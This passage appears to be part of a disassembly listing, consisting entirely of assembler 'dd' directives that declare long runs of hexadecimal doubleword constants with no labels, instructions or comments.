		dd 4FDDC8h, 9EE78B54h, 6241FD70h, 0F003187Ah, 0D5F80350h
		dd 87A0CF28h, 186865CAh, 48F71ABCh, 9B0080E1h, 0EC7BEE6Eh
		dd 263D4C8Ah, 14461DBh,	39AB35F9h, 0AA20302Fh, 341FD900h
		dd 685E04E8h, 0E04B73E7h, 0DF0B1235h, 0FCD800B0h, 2B2A3940h
		dd 0B414F100h, 3C869F2Fh, 8B980001h, 0DA8DAF4h,	955CC745h
		dd 0C1CF030Dh, 0CB6223FFh, 0E4C40075h, 77B78A9Fh, 3E0016ADh
		dd 96B27C26h, 9A7130h, 79BEEC27h, 0AFADEB1Ah, 0AC6C4002h
		dd 0E0C58E08h, 0B94DC485h, 4CDF0368h, 3088B4FBh, 90A0AFC9h
		dd 7004A082h, 85E88938h, 0AB2394C0h, 0B2D9055Fh, 813C6DE6h
		dd 20A968A0h, 9A1F1424h, 52C0E45Ah, 0BD3887DAh,	86C0063h
		dd 760E5DCBh, 0A100FADFh, 8827CA78h, 648297h, 136B53EDh
		dd 0CFE42E03h, 0A7B49F00h, 29CCD8B8h, 3DEF212h,	0FE38D9Eh
		dd 0C1A851B7h, 3F035869h, 1A836CFDh, 57A3C2h, 0D10637FCh
		dd 1F7DF79Fh, 2F87D400h, 7CF2AACFh, 10F160F4h, 6084CC98h
		dd 0E2F070F7h, 0A8D60D30h, 6A200Ah, 35C129C0h, 8F17FF22h
		dd 15B65407h, 5CE09028h, 149B8CE8h, 9C866977h, 74BE900h
		dd 0BBD5763Bh, 19CAD630h, 87E53Fh, 2D593898h, 0A1D031E1h
		dd 216CA430h, 484B4CF8h, 0E6008928h, 87040AE4h,	801E031Eh
		dd 634008E1h, 0EE9F1B54h, 825E0062h, 5F3BA9E7h,	0D926142Ch
		dd 6F031504h, 0E127EBB5h, 58809BC5h, 480CF3B2h,	2500B4DCh
		dd 0F262EC44h, 3B6476FEh, 2E1651BEh, 9EEE011Eh,	0C8A81D90h
		dd 3800BDD2h, 6FF424D3h, 7AF7C1h, 0F6BA675h, 3662E763h
		dd 0DCF5FD00h, 0EDE2B19Ch, 7BF31D73h, 79B20060h, 0CE46B553h
		dd 35067D07h, 7530B6BEh, 2ADAEBh, 0F1F26191h, 8B8817EDh
		dd 210B3307h, 938084DBh, 32A3C3h, 0AAE8B810h, 802DC2F9h
		dd 0AED05A00h, 72FB65DBh, 36C83A85h, 42A3540Fh,	7D390C73h
		dd 0E91E44D0h, 0CBC4B2F2h, 0D1877174h, 56156040h, 0BBA600DCh
		dd 51F8A0FCh, 0D9004699h, 0E6742F26h, 26551438h, 0B469CBh
		dd 9171EB7Eh, 30002772h, 0AE7B7D7h, 56249Bh, 0DCB8D5F7h
		dd 0A3CDB061h, 6CC4BA00h, 251D8F8Ah, 38A70798h,	0DCB8955Eh
		dd 0F31E9018h, 0C940B42Ah, 0CC293268h, 47B0098Fh, 0B4A2E36Dh
		dd 34680A9Dh
		dd 45009373h, 0D33229B2h, 70B58EA8h, 984D0447h,	808FB03Bh
		dd 85CC65F4h, 0AD039500h, 45084476h, 66C200C4h,	6AC942D5h
		dd 0F30B7D56h, 0A6F86Ch, 5F279FD0h, 97E70095h, 5065B839h
		dd 0C6017D4Bh, 8F4DB58Dh, 0C3246C8h, 0EAAC8600h, 44AB103Fh
		dd 0D0C53D1Fh, 0B40825Fh, 0AC404CCFh, 83220316h, 0AE9FF5B9h
		dd 8D3CE8E0h, 0C5E3EF00h, 0DCCA1DBBh, 0BF320024h, 0BAE5E48Bh
		dd 313F111Eh, 41D6001Ch, 0C234C5EDh, 0EC8D006Bh, 0E72791ABh
		dd 191745CDh, 0AA01C4E9h, 54C7A653h, 3EA98C24h,	4681621Bh
		dd 9196C382h, 0FDC0609Bh, 0BBB65300h, 3B0677A6h, 568B5C93h
		dd 89C8700h, 0CA7CD09h,	0C4D0BFh, 0C601031Dh, 5D065893h
		dd 9F3E1700h, 0B497B090h, 0F1E91CD2h, 5237C03Ch, 20364E2h
		dd 9E1E9300h, 0C710B2B0h, 8A4B1F3Fh, 50DA80C3h,	4DEA208h
		dd 23F18201h, 0D3FCA045h, 0EC9EC0CFh, 0D80B1FD7h, 34E1C0EEh
		dd 0FBB847A2h, 13EA1D02h, 48949F0Dh, 1490638h, 921A2918h
		dd 0D0DE4F16h, 0C0032CAh, 0DF4EBF2Eh, 0C8E93Fh,	0EC432055h
		dd 857CD5D4h, 51CD2D2Eh, 0A17AE500h, 9753687h, 0D94B8B99h
		dd 0D14A3822h, 5E9AC0E0h, 47C73800h, 41EC45ACh,	5702006Fh
		dd 8CD7F24Bh, 0A8B0DA97h, 448C000h, 63E69EC8h, 505A4888h
		dd 79CE4402h, 98622C4Bh, 3D001444h, 0F24F9480h,	0DE8B7Eh
		dd 0EBFB5220h, 0D36676FDh, 0CAF8E7F2h, 60693102h, 41E25085h
		dd 39F8D904h, 411F0084h, 6BF8AAD0h, 0B0C0ED6Ah,	34DD8C1Bh
		dd 10EC6FB2h, 432CBB20h, 0F198BA20h, 28D33C1Ch,	7BF782B9h
		dd 0F781EC1Dh, 74085A68h, 6FE84301h, 822F29A7h,	248AD1F4h
		dd 3B06DB8Dh, 5459C881h, 0C8CD1F03h, 9B1C058Eh,	24428141h
		dd 608F483Dh, 0F7677291h, 0EE9A43F4h, 0E45C58A1h, 86BFF500h
		dd 3D0C09C4h, 0ABFFDD00h, 11707690h, 5650003Ch,	4A77969Dh
		dd 4D035E19h, 0EB4F5F26h, 0FC57D00Fh, 3DE90FEh,	83071FFBh
		dd 0D9B0AE19h, 0F3EEC4B7h, 9EE05A00h, 97F06973h, 6D9F0085h
		dd 0D4B05CFh, 4013E13h,	0E0B3A994h, 0A7600130h,	28601A0h
		dd 0D22B561h, 1857F42Fh, 3F21D13Ch, 0E1980D0h, 0E5312658h
		dd 0BAFF0070h, 0F06B7E2Fh, 3516B9BCh, 604B8A21h, 0A59F07E7h
		dd 0C77C240h, 143B010Ah, 1C916004h, 87F33070h, 1886D05h
		dd 54804A9Eh, 9CC2DBh, 0E10D044Fh, 3B390960h, 0B3DC8D0Eh
		dd 0F8FDE0D8h, 85D034h,	88D9F2D2h, 0AF400EA3h, 0DE0A2004h
		dd 0C4910C71h, 801408E4h, 384A5FD6h, 0BB37E802h, 405A434Bh
		dd 476F690h, 4FA9D949h,	0AFD88066h, 9B00E342h, 919E94C0h
		dd 0EB599C4h, 0DBF5B0A6h, 1807C5E2h, 95CED4A0h,	12007177h
		dd 66498505h, 4678952h,	1EFA68BDh, 97C8C0E4h, 0B8004888h
		dd 69A67E6Fh, 944BF67Fh, 1C18002Ch, 0AB31AFE7h,	0D5802F05h
		dd 4A80B83Ch, 124FDC2Ah, 22BB06h, 85F53EA0h, 3006075h
		dd 7E0E74D3h, 7079B67h,	2AB686Ch, 8187F3C6h, 742DF6E0h
		dd 40509607h, 9E801AA9h, 18EABD70h, 11139F10h, 6100629Ch
		dd 6E7FEB76h, 0E0BFA8D8h, 584D74FDh, 173C1380h,	0BC691180h
		dd 203FDA65h, 3DB46607h, 3BE05589h, 0BA61D3h, 0E936A12Dh
		dd 569D6B39h, 48FFCD30h, 10F9EF94h, 7D5B7D6Dh, 0E2641B00h
		dd 6C3DA43Bh, 94C0096h,	33A3E7ABh, 291D58DCh, 0C5E0665h
		dd 0B31EC440h, 7984F2FFh, 0D06C0E49h, 417FD6D7h, 1EA951C6h
		dd 0AD61F834h, 2D249C00h, 77079992h, 0CB4E00B7h, 4CA3B482h
		dd 8AB0F710h, 96D40300h, 0A9BA0D79h, 0C3AD002Ah, 15D39B04h
		dd 5190144Dh, 83323E00h, 615623DBh, 985900A0h, 9CC509A5h
		dd 5703FCF4h, 62A8B8E6h, 9BF1C802h, 60990FBAh, 2A608879h
		dd 7F84C939h, 0A70278C0h, 0F579A5Fh, 0D0F09C12h, 0C5698A0h
		dd 0B4003BB3h, 9DB9F73h, 1AE6B1Dh, 358A5ADDh, 30973A33h
		dd 4E008921h, 5FE65ECCh, 0C1876Dh, 8CCFBB77h, 0E099D5BAh
		dd 0A1BE0900h, 2046491Ah, 766E0E96h, 5E600C54h,	6C2F9580h
		dd 308C5900h, 96B8A1CCh, 0E4A7007Fh, 50E5BA67h,	5800293Fh
		dd 8B326683h, 7848D7h, 285C38B1h, 76712EBCh, 7737B200h
		dd 133B877Dh, 38660032h, 4F1EDE29h, 0B6032521h,	26DC4E80h
		dd 0F4AFF077h, 0A1EF1C71h, 29FFC04Ah, 69E5BC31h, 2EB50105h
		dd 0B401283Bh, 0EF6DE0B7h, 68E670h, 0BF233684h,	0D913EDA6h
		dd 0ADCEB01Dh, 2C497Dh,	0C9418E3Dh, 1E06BC03h, 5F1144h
		dd 399A82C7h, 9505C1B5h, 0D2FE0AACh, 0E1C282C0h, 4C6C0E68h
		dd 1580FF42h, 0DCFD0143h, 6B00F77Dh, 0CA11E889h, 7E72FC2h
		dd 97369281h, 8CAB217Fh, 0ED8C40D9h, 3700A1D5h,	0F8C7A04Ah
		dd 859BF3h, 2487B6ABh, 789284C3h, 7F23A301h, 5A64C71Fh
		dd 28FC80F2h, 1249D83Eh, 0BE7CFBh, 0F64E6260h, 84000AB3h
		dd 191DAA7Ah, 0CE8BAD7h, 2274B9A8h, 0A01EF238h,	0B28042E2h
		dd 0DDA21AE7h, 0CCF701BDh, 3A62274Fh, 0EEF43EAh, 0F81D8BE8h
		dd 9C09E907h, 9FF0A659h, 152F479h, 0F98DC92Dh, 0F807CC9Ah
		dd 7273287Ah, 8B98380Eh, 0B93214Ah, 9BF17E68h, 2805C120h
		dd 3DD4FD0Eh, 0B280FFF5h, 97CC9CE1h, 3312F6DDh,	1C005462h
		dd 992142Fh, 1FBC80E0h,	67004A78h, 0F580743Bh, 904033h
		dd 838D7FA9h, 914B36F6h, 0F7817300h, 0E5FCEA6Dh, 0C5A3F21h
		dd 43EB700Fh, 0FA621F45h, 0E84852C0h, 0B1C90EEh, 0F7FC7363h
		dd 0BCAA7280h, 0D1F41143h, 0EB00F17Ah, 9F865F5Ch, 7C9448h
		dd 0EA9EFC59h, 0CBA1440Bh, 0F267A800h, 0C7E2C6C5h, 693C3B81h
		dd 0D9281CCCh, 3E0100E8h, 6F77E62h, 800A4A6h, 8BCFF4D1h
		dd 89BEB0h, 713EFDF8h, 78BF4151h, 126EED00h, 16D9AFF3h
		dd 61C80002h, 0ADBC0ADBh, 137A9A08h, 0EE24B273h, 0FE026C30h
		dd 68156169h, 3C73825Ch, 81836DD5h, 0DD45626Ch,	0F955398h
		dd 841C40Eh, 0DBEC26Bh,	64744017h, 0F23E002Dh, 7D4A4607h
		dd 0C70F1C35h, 83E55706h, 0C88B45E4h, 982086FEh, 0D1333CB0h
		dd 0BF4F9E80h, 0E0168E37h, 22FA6900h, 9F762BC2h, 0C4283AB2h
		dd 0BCDD6300h, 704398A8h, 54E87A00h, 0B8E972Bh,	0FAEC0141h
		dd 625CDDCh, 0F6CCD084h, 773B0701h, 0CA364C33h,	0F5912DCh
		dd 442B933Fh, 0FD424800h, 0B005CE9h, 0DD6280D1h, 3665EC0h
		dd 0FCE004E5h, 41EF56B3h, 0EC4BC62Eh, 0D7006F74h, 838977F8h
		dd 0ACB2B6h, 3EEC43D2h,	9F908669h, 0AEF01B00h, 5B89938Dh
		dd 0B9AF0006h, 64EA059Eh, 0DF00A4FBh, 42FE9C37h, 2C39F07Bh
		dd 4C2C5Dh, 9A88B4F2h, 0BE7DC1C7h, 92220100h, 0BDB5EDE4h
		dd 187DFDh, 530BDF78h, 14687F5Fh, 50DB9103h, 0C89459E0h
		dd 0D01C45h, 44CECA7h, 0C337EFEBh, 33686103h, 0A0BF2D32h
		dd 0E076D59h, 0A6F2E5A2h, 0F9F1E120h, 0DE00BB02h, 735C57FBh
		dd 3B998C2Eh, 18004B1Bh, 2FD85470h, 890F7F2h, 156F4Ch
		dd 57E77BE1h, 13EFA658h, 0BA33FCh, 0FEE6AF00h, 7124D6EDh
		dd 0D00008FDh, 0C56470FBh, 0A504000Bh, 0F9C47F18h, 77F29852h
		dd 83306203h, 669337h, 0E0C4F311h, 1A0AE870h, 0E23E0EECh
		dd 0BEED80BFh, 9C555CE7h, 1E0900EBh, 0DD275FA5h, 0D50060C7h
		dd 66BB59F9h, 7901DBEh,	47E901CCh, 7BC2405Ch, 44002343h
		dd 2E50A1F9h, 1AD520h, 0E5B7AFB6h, 36667B24h, 40001CF0h
		dd 20E99475h, 7614ACBAh, 0B984056Bh, 278CDEh, 3581EC8Bh
		dd 3F02D093h, 0BA625FE2h, 3C24687Fh, 1498076Eh,	0B0ABACB9h
		dd 75653F83h, 0AD05B8ECh
		dd 2F74D612h, 0BDCAF800h, 4FFF2C0h, 0FA0897C9h,	2230D069h
		dd 0F1031595h, 43F7EF6Eh, 69279A96h, 0FC50844Ch, 7DD57DCh
		dd 4498955Ch, 3832511Ch, 0D0F84030h, 0DB1CD7EBh, 1403DD0Ch
		dd 8B7B0D6Fh, 0F011D39Ah, 894667h, 9CD22DF2h, 0E4C22919h
		dd 0D8385828h, 0C7002B78h, 4A633CE5h, 3CCCBB9h,	26B23D05h
		dd 3FD07DCDh, 14246C12h, 9900E009h, 355DF90Ah, 295300FAh
		dd 5EA47144h, 5C70CE42h, 0FFCF0800h, 0B56D32E3h, 14AD48DCh
		dd 37B7CC03h, 0CAE845F6h, 0FF000972h, 0B26E7DC0h, 79E2E0Fh
		dd 0BC2C03E2h, 46A760E3h, 0BF00A450h, 0ED0F184Eh, 76DFDF3h
		dd 0F07D7379h, 1442C0EFh, 0CF007494h, 0F1800AB0h, 0F489DF4Dh
		dd 2A130737h, 401EE972h, 0F749FEB3h, 19A53D00h,	0B2819D64h
		dd 22720033h, 29048606h, 2E00D1B0h, 556CB126h, 0E42AA8Fh
		dd 6F61F825h, 13D489C7h, 0C40F0E12h, 43331529h,	0EF788C49h
		dd 5D7F4F40h, 0D0970BFBh, 7028F44Bh, 0AEF916D0h, 8C8FD00h
		dd 0E50AE98h, 145E1DACh, 608018E7h, 11130B32h, 2EA19D00h
		dd 0B33FDA64h, 0BD720112h, 0A2C1DE60h, 0A778C43Eh, 0C3115A00h
		dd 693DADA1h, 0E34000D4h, 9BF7C498h, 0F1CF04Eh,	7C746A3h
		dd 0FF209DCAh, 0AEF1F3h, 0C7D6A4EDh, 4DCB1FCCh,	760A9600h
		dd 79A2B362h, 0FC9A04h,	372C3A89h, 0D45AC89Ah, 52DCC350h
		dd 54D94007h, 292736h, 2293E218h, 0D5530083h, 5F80C26h
		dd 177659A3h, 0A54F790Bh, 525C80B1h, 240F62C4h,	800C1DE1h
		dd 0C0ACB465h, 9E0095C6h, 79070E47h, 1D508F44h,	1FD78C38h
		dd 34A8734h, 0A4CEE0DFh, 26002845h, 0D927233Dh,	5C936Dh
		dd 0BDD8A77h, 82FBEBBDh, 926E200Fh, 30AEC028h, 145C566h
		dd 0C77FCE9Dh, 70BF37FCh, 6C0092CCh, 800E2E16h,	528E41h
		dd 9D717CD8h, 8350DD4Ch, 9D5BF838h, 2B6E55BCh, 171DD300h
		dd 0E897AF9Ch, 0E7CEE8D2h, 1556E0h, 0B62CA56Fh,	2AAA51A7h
		dd 0EC970A00h, 7ACBFE7h, 9D1000Eh, 0BBA62C3Bh, 6A0546A9h
		dd 204FAEA5h, 58AEC854h, 0C01300C2h, 6A66411Ah,	806C039Fh
		dd 0A90CF9Bh, 0C13B0FC0h, 4304B00Bh, 656081DDh,	31E86E70h
		dd 0B6FA00AFh, 6BB7B27h, 0F800BAE7h, 0CFC669CCh, 10AE2A5h
		dd 0D61BC2E8h, 0C61601ABh, 0D5500460h, 0DB02A607h, 82E01907h
		dd 702E3B5Bh, 5C64142Ch, 0D90034A2h, 3A9CD8Bh, 887EA6ADh
		dd 802DFC25h, 0DD90B0A8h, 49B52ED6h, 0D8F43D46h, 19B22149h
		dd 4107B0E0h, 68125562h, 0F57A66E0h, 26A50030h,	998B5E88h
		dd 0E005B3Eh, 0F34D7060h, 0A8082Fh, 861D7969h, 0D6215D1h
		dd 286CBA0Fh, 0CDC21D65h, 8063DDE4h, 0EE0D0B44h, 0D1B0C0D3h
		dd 262CCC72h, 0AD63D000h, 49BE3F04h, 0EDC100BAh, 0CD93D7A9h
		dd 3585D46h, 0C30C0078h, 8AF96525h, 12FB00F6h, 4F67F358h
		dd 217E422Dh, 0AA332B00h, 6F8A3E1Dh, 0BEBB2611h, 0CF87004Bh
		dd 0ABFEDB59h, 0BF781C39h, 15F480FCh, 0A9636960h, 0D5AD001Fh
		dd 0F3E221BEh, 0C0056A1Eh, 15B4B842h, 1BFA85C0h, 90B06065h
		dd 2573C78Ch, 6E623Ch, 5D4AF3BAh, 0FFF54C2h, 0F5633AA8h
		dd 85F0DE84h, 4A1084A6h, 7004DAD0h, 100006D3h, 0D91295AFh
		dd 1FFAB10Dh, 0A6DC08h,	0BBB4A717h, 0BA01B809h,	84107729h
		dd 0D4307155h, 0AC7600FDh, 0B439FB9Ch, 440312D0h, 13093EC0h
		dd 0AA91E9DCh, 5856980h, 0B82C0B03h, 0E42D620Ah, 7818CC9Dh
		dd 24FF6821h, 0D74202h,	9C974539h, 0A50094B4h, 0B5CECBD4h
		dd 7AB03C21h, 76683AA0h, 26CCDA84h, 2023C02Ah, 3F06505Ch
		dd 0B30A7CFDh, 0E0612A38h, 0B2D000FCh, 3320F18Ch, 0C3007730h
		dd 3E50627Ch, 0F00442DDh, 4BA030EAh, 46AE6520h,	643A5914h
		dd 79D2E120h, 0EA107B18h, 0F00F454h, 32081063h,	9A7CDA1Ch
		dd 3E18F965h, 0B840ADC4h, 863BEF4Dh, 94E10F37h,	4300A944h
		dd 7D96BC92h, 0A063E8CAh, 280AF11h, 0A02C6203h,	88810CFFh
		dd 30F0C25h, 83DF4707h,	0F0BEE838h, 4CC72C02h, 5003A86Bh
		dd 0FCAE14B7h, 8A3240BFh, 4907BDD8h, 6B97FF03h,	3CD3D555h
		dd 0D92E883Fh, 0ADDF300Ch, 0C898D290h, 0D5BC5C50h, 0E819C30Fh
		dd 0B6828125h, 0D9865AD1h, 91AF9A6Eh, 0BBF2C0Ch, 0FD3E781Ah
		dd 80A20823h, 18E88B31h, 0AD1C00D4h, 5ED52FBAh,	0C500F3D6h
		dd 0F73C2353h, 0F63EB4A9h, 68DE498Dh, 0EC84FA01h, 30BAD368h
		dd 836F5948h, 9D21F808h, 0A5EC00ACh, 0FB8DF20h,	5203315Bh
		dd 0A6EBD3ADh, 91F018B1h, 4A6589A9h, 5AB608C6h,	38AFF811h
		dd 44136994h, 82240C98h, 5007D360h, 0FFC71A62h,	9937F8ACh
		dd 30EF2C70h, 55281C08h, 0C14749C3h, 0E7210032h, 572CB8B5h
		dd 0FC0CB275h, 59D6F4CDh, 16BC3247h, 0B0909129h, 9B1D74C2h
		dd 37541809h, 0BF210124h, 0F4209579h, 0FA076670h, 193030DCh
		dd 0B3A50B21h, 42F1700h, 1BC6DFA9h, 2A3E00DCh, 6DD10DF2h
		dd 0B501E049h, 875439E8h, 38C165F7h, 0C900A032h, 0A69D1D68h
		dd 432AFDD9h, 0C73384AAh, 90732066h, 0DBFE1Dh, 5AEA9B4Dh
		dd 29B9249Ch, 65A48C54h, 1918AD00h, 8EC5ED0Eh, 2A7F00E0h
		dd 2C6EA96Fh, 8961667Ah, 42347430h, 565FDA00h, 0D104EA0Ch
		dd 0CCD8A055h, 982146A9h, 43EA6E00h, 0D6F3D1E8h, 7A972813h
		dd 28B202E4h, 0AF262B3Fh, 18591441h, 3DEC0887h,	43C482D3h
		dd 0EC006654h, 917B3DB3h, 50B89614h, 76143E48h,	3A0B8340h
		dd 0D52A2432h, 4370C8F0h, 21FF5B80h, 4BCF2Ch, 92506025h
		dd 4135A4E9h, 0F92B60C5h, 0CF0DB008h, 0A6841DC1h, 23AC4411h
		dd 21001EB0h, 9C1D386Eh, 0DD538C0Dh, 868BC1A9h,	40029985h
		dd 0A2F8793h, 23CF3209h, 334424BDh, 0FF531E40h,	0F00387Ch
		dd 47F99319h, 881F37BBh, 2B017754h, 0AF13D44h, 0DD42D530h
		dd 0F462E005h, 0EFBD06A8h, 5821C7D0h, 0CC08264h, 891D4460h
		dd 839A623h, 6F0066C8h,	0C0F21D3Bh, 621738DBh, 0D8762987h
		dd 2AE473E0h, 9BCF54E0h, 0B560CD60h, 48C88B3Eh,	47CFC8DCh
		dd 0D445007Fh, 0F394AEC7h, 61009491h, 0ACEF6D86h, 94294CDAh
		dd 0A5C80092h, 0D7493D80h, 1CA93061h, 0A050DB2Eh, 26433E22h
		dd 24D451F4h, 89881154h, 2CAC8201h, 44BC6C98h, 0B4C2479h
		dd 174C0ACCh, 0D482B810h, 0E21DB5B2h, 447C4708h, 0B09F6082h
		dd 0AB10C348h, 0F4E124BCh, 0F27432B3h, 0F6B3040h, 4C4648h
		dd 0B08256EBh, 489AC3D1h, 0E04060B6h, 43048C0Bh, 41A68A1Dh
		dd 21002463h, 2F1D3A70h, 0A0903B8Dh, 5813BED0h,	2609284Eh
		dd 0A68C189Fh, 46E05981h, 6CBB7200h, 0DBBC5D96h, 0ED1829B2h
		dd 187CF1B4h, 2EDD0097h, 0D306A8ABh, 42E37AC3h,	3D300964h
		dd 0A680111Dh, 66C68471h, 1D746A00h, 170056FFh,	1663FDE9h
		dd 0E243A89h, 0C67C5DACh, 0F44C5060h, 4650C330h, 80B80B9Ch
		dd 804C384Dh, 0D7B8EA0Ah, 40458CF5h, 0EA3360h, 0BB73152Ch
		dd 0A094605Dh, 0A4743C2Ch, 7CE64700h, 8D8BD0Dh,	0D04A677Eh
		dd 19AA3F87h, 15EFEB00h, 1D3030DEh, 0DFACC19h, 0C1904BF6h
		dd 86E3E800h, 0BE9BEB36h, 59BA099Ah, 6837FB89h,	0FE808111h
		dd 5174D7AAh, 9902CAFAh, 0B05F3212h, 0A7045BBh,	80F8518Ch
		dd 36270BF2h, 0A6022E76h, 0B5F3D4A2h, 2CD0837Fh, 72EBC0F4h
		dd 0AA10C0A9h, 4AC99EC7h, 0E4A1E17Ch, 43FF0883h, 1D470237h
		dd 0CCE1A69Eh, 21226038h, 0B71D3E74h, 0C1464800h, 173487CFh
		dd 0AC0B2A4h, 43FCB315h, 493A0384h, 390B2CC3h, 82D79E1Ch
		dd 442A8D0h, 6B64B48Dh
		dd 0BD220305h, 0C8445731h, 0CBC0D752h, 3B2B98DEh, 0D200E91Fh
		dd 7507A819h, 28606D33h, 684CDF28h, 0A3AF0727h,	0F045ABA5h
		dd 6AF5E710h, 2E48324Dh, 0E040008Ch, 0E8DB49h, 0D7292B0h
		dd 8BB8C123h, 93ED601h,	869FBC45h, 0B5008022h, 26BD565Eh
		dd 4C006A2Ah, 0C9B7CA1Fh, 32E1D5A5h, 0A630D41Eh, 500990A7h
		dd 6F5308F2h, 0E6D9B22Eh, 0EADB0403h, 0AF0FEA4h, 32086066h
		dd 3E880094h, 0A523E3C6h, 0D9B93C03h, 14D1042h,	6ECF3028h
		dd 0F65061EDh, 46E48045h, 0C835B261h, 6CFE1A5Eh, 8DF6AA3Eh
		dd 8955CCA2h, 8C3AF834h, 6EA0404h, 0AC8E05D1h, 0EA5C8200h
		dd 854DD66Fh, 189C2C09h, 0D38C9132h, 242897CCh,	12DC4967h
		dd 6E046326h, 1216DAD9h, 0E46492h, 54C99594h, 7B4AF214h
		dd 8DAE8600h, 0B161A41Dh, 70D20974h, 1418558Ah,	8C080471h
		dd 0BED44A9Eh, 0BA32591Eh, 0EB86B1E0h, 0D202D701h, 3ED54730h
		dd 5E89091h, 0ED100398h, 77A01D2Dh, 84C167F0h, 12592501h
		dd 0E8AF9626h, 0B9066DFCh, 15300CCCh, 9B004469h, 0CAD4143h
		dd 2E9A88CAh, 0F4D8F7E3h, 0BEB3EA0Fh, 60474012h, 4BC4FCAFh
		dd 98003020h, 55237F30h, 0A70B282h, 87C88432h, 0BC984484h
		dd 0C121DE23h, 0B86C1D75h, 0AF2FE0BAh, 0F54AEB04h, 0E8C01425h
		dd 99231B3Ah, 181ED904h, 0B6AE12E6h, 2BD492D6h,	0F13E06Ch
		dd 8427B36Fh, 0AF28D570h, 577018Ch, 52B46CBEh, 8564F4DBh
		dd 20096Bh, 935B3C1Fh, 383771CDh, 5EA5B687h, 343078A3h
		dd 72018100h, 0B25F4779h, 49CA6D7h, 0FC4C2896h,	6440A025h
		dd 0EC9E048Ch, 62AAD346h, 870F204Eh, 5C9850ECh,	0B132D44h
		dd 28B6DDA7h, 0D4280888h, 37BC2108h, 6FBB8015h,	26D1194Fh
		dd 0E009B2F2h, 68307953h, 49C828h, 0A1083703h, 2C1E9825h
		dd 0D2B7CF13h, 0EEBF1C07h, 405CC6F9h, 48C8674h,	2C0901B7h
		dd 257D62A8h, 8A48816Eh, 2E15E02Fh, 555CB615h, 0EAD004B0h
		dd 0DC80FC58h, 1474B00Dh, 0C85C8A8Ch, 8D4B4C06h, 0B1467066h
		dd 8030401h, 3C64102Ch,	0E6BA034h, 9373E203h, 0A5E70170h
		dd 36F823A9h, 0B2D00478h, 54C94E2Ch, 0E8F4D431h, 842650C1h
		dd 0F02E418Fh, 1A18FB88h, 0DA2810D0h, 0B9C46C42h, 0B441D728h
		dd 168FC428h, 0B5885800h, 39077899h, 0CDB1F95Dh, 0D998A093h
		dd 0F042BD95h, 0EC89305Fh, 0B2D34311h, 9C804588h, 0C1B6ECB1h
		dd 72381E20h, 3037C03Bh, 0DF39E991h, 30AC0430h,	0C0BAEBD3h
		dd 4AA517F9h, 0A0AA68C3h, 21422047h, 0EFDF1865h, 0C40FDE26h
		dd 82DD3308h, 0EE27DAB0h, 0AE171859h, 0C823D43Ah, 0D3545C00h
		dd 0CB8D943h, 3130FEC3h, 2502E241h, 997726C7h, 0B871E1h
		dd 0FE5C11EDh, 0B899AD76h, 0D9242700h, 3A6BE034h, 5FCF7540h
		dd 860F4EC8h, 93FEB0E1h, 0E4B7F9CAh, 0B9724663h, 0C444D54Eh
		dd 0EB4E32D0h, 0B943D163h, 75C1DCCAh, 0B6F06434h, 5941D030h
		dd 3C5B94B5h, 3E2CBA01h, 0EA08C370h, 18A5D7D9h,	60968845h
		dd 0D4A3EA01h, 0FBF33C7h, 9F00E03Ch, 9A782A36h,	54548D0Bh
		dd 640030B4h, 0B6C75598h, 3D61480Eh, 0EFA43E58h, 0BB430440h
		dd 108A23Dh, 0AEDB9BA3h, 0E433C8DAh, 0D6EEAA00h, 0D7791D0Bh
		dd 0ECF82F26h, 0B24217DCh, 7F380A55h, 431184h, 929FB9E9h
		dd 77A5AC7Dh, 0E488A5FDh, 0F2566044h, 566FA04h,	0F5322BA1h
		dd 8FF48033h, 0B0587679h, 52A61020h, 1EB86494h,	0F4A2048Ch
		dd 91687732h, 38AC6EECh, 0D42904ECh, 98B68239h,	0D9C028E1h
		dd 54D7E455h, 8FA3BF2Dh, 14C40458h, 7FE2D0A2h, 0A470BD31h
		dd 849A1070h, 4532014Ch, 6BE1E7B5h, 17B7588Fh, 0D621BD8Eh
		dd 3C87BADBh, 0E72C7088h, 48268843h, 424674h, 6C187BDEh
		dd 4DF3D304h, 8100FCB5h, 6D69962Ch, 0B8BBF412h,	5C8BB693h
		dd 2AC04688h, 6B66AD8h,	418F47Ch, 0B228C8B9h, 1100F057h
		dd 99973512h, 5ECA190Fh, 6BF4002Eh, 0A675C05Bh,	0EC4A027h
		dd 0C8D92A78h, 0DA40782Eh, 0A8F97CA2h, 4EDFBF9Ch, 68DC2DD2h
		dd 8C7FACC0h, 0D0F35D14h, 0C92C74ADh, 0D417D4C0h, 6C636C32h
		dd 0EB6E0110h, 85E4B75Bh, 0C619D425h, 0AD491800h, 28D36594h
		dd 1953E895h, 4051E1ECh, 70C3E8B2h, 32E08151h, 3044F210h
		dd 9B00095Dh, 7BB815C0h, 600498A6h, 13D35074h, 0E8A0AEBBh
		dd 0DC69E792h, 0E460C538h, 0A4DD6083h, 0EE23042Bh, 0A5310BDBh
		dd 0C07330B8h, 8703627Dh, 0D860A125h, 0A618E805h, 9AC0A322h
		dd 4C8C0328h, 0B8F6B91Fh, 88B58E40h, 0DB695Ch, 72607A45h
		dd 0C157D718h, 3D8AE5Ch, 8CFD1066h, 1397349h, 18B5439Bh
		dd 0FCDD0468h, 53FC28F4h, 0CE005290h, 492DD7BCh, 0A88ACBD3h
		dd 4EFF2CD0h, 0D1D00166h, 75866AEBh, 6C9BC1E4h,	0C05A8824h
		dd 0D344EC80h, 41229A46h, 0EC889901h, 879FF52Fh, 0C82C01C4h
		dd 7B805240h, 0BFCB980Eh, 33AF3DA0h, 81138858h,	759408FEh
		dd 1EA61C0h, 2C6D4BD1h,	59007FB8h, 33288FEAh, 0D8FFE2h
		dd 56B80D8Eh, 0D04968C8h, 0A640809Ch, 509AF7Fh,	0BEB623Eh
		dd 0CF48008Ch, 0F59BF71Eh, 0D8206E31h, 423CD42h, 4F307DA2h
		dd 4F2ECB1h, 57C066EEh,	0B9B4821Eh, 6058A47Bh, 72CB0186h
		dd 37191CA9h, 0B0B182E0h, 852D0AFDh, 6CD022E4h,	26AF3AAh
		dd 0D1B6EE87h, 18F8F2C3h, 8C2C0926h, 0B2881F18h, 0B1AE6091h
		dd 1B23DCEBh, 452E4A01h, 14BB3C0Ch, 0B6CA203Ch,	43465EFCh
		dd 0B3A26C0Fh, 0F7703CE0h, 0C71732D6h, 10D8BAEFh, 0D12903ACh
		dd 0D53B59F8h, 455419B1h, 0A1FCCCD8h, 3D07E202h, 7A81DB0Ch
		dd 54456328h, 0C900B577h, 0E848CF56h, 5E8A11h, 0B244E51Dh
		dd 40B1CD1Ah, 0D50CE70Fh, 544A363Eh, 8511EC61h,	0C01B880h
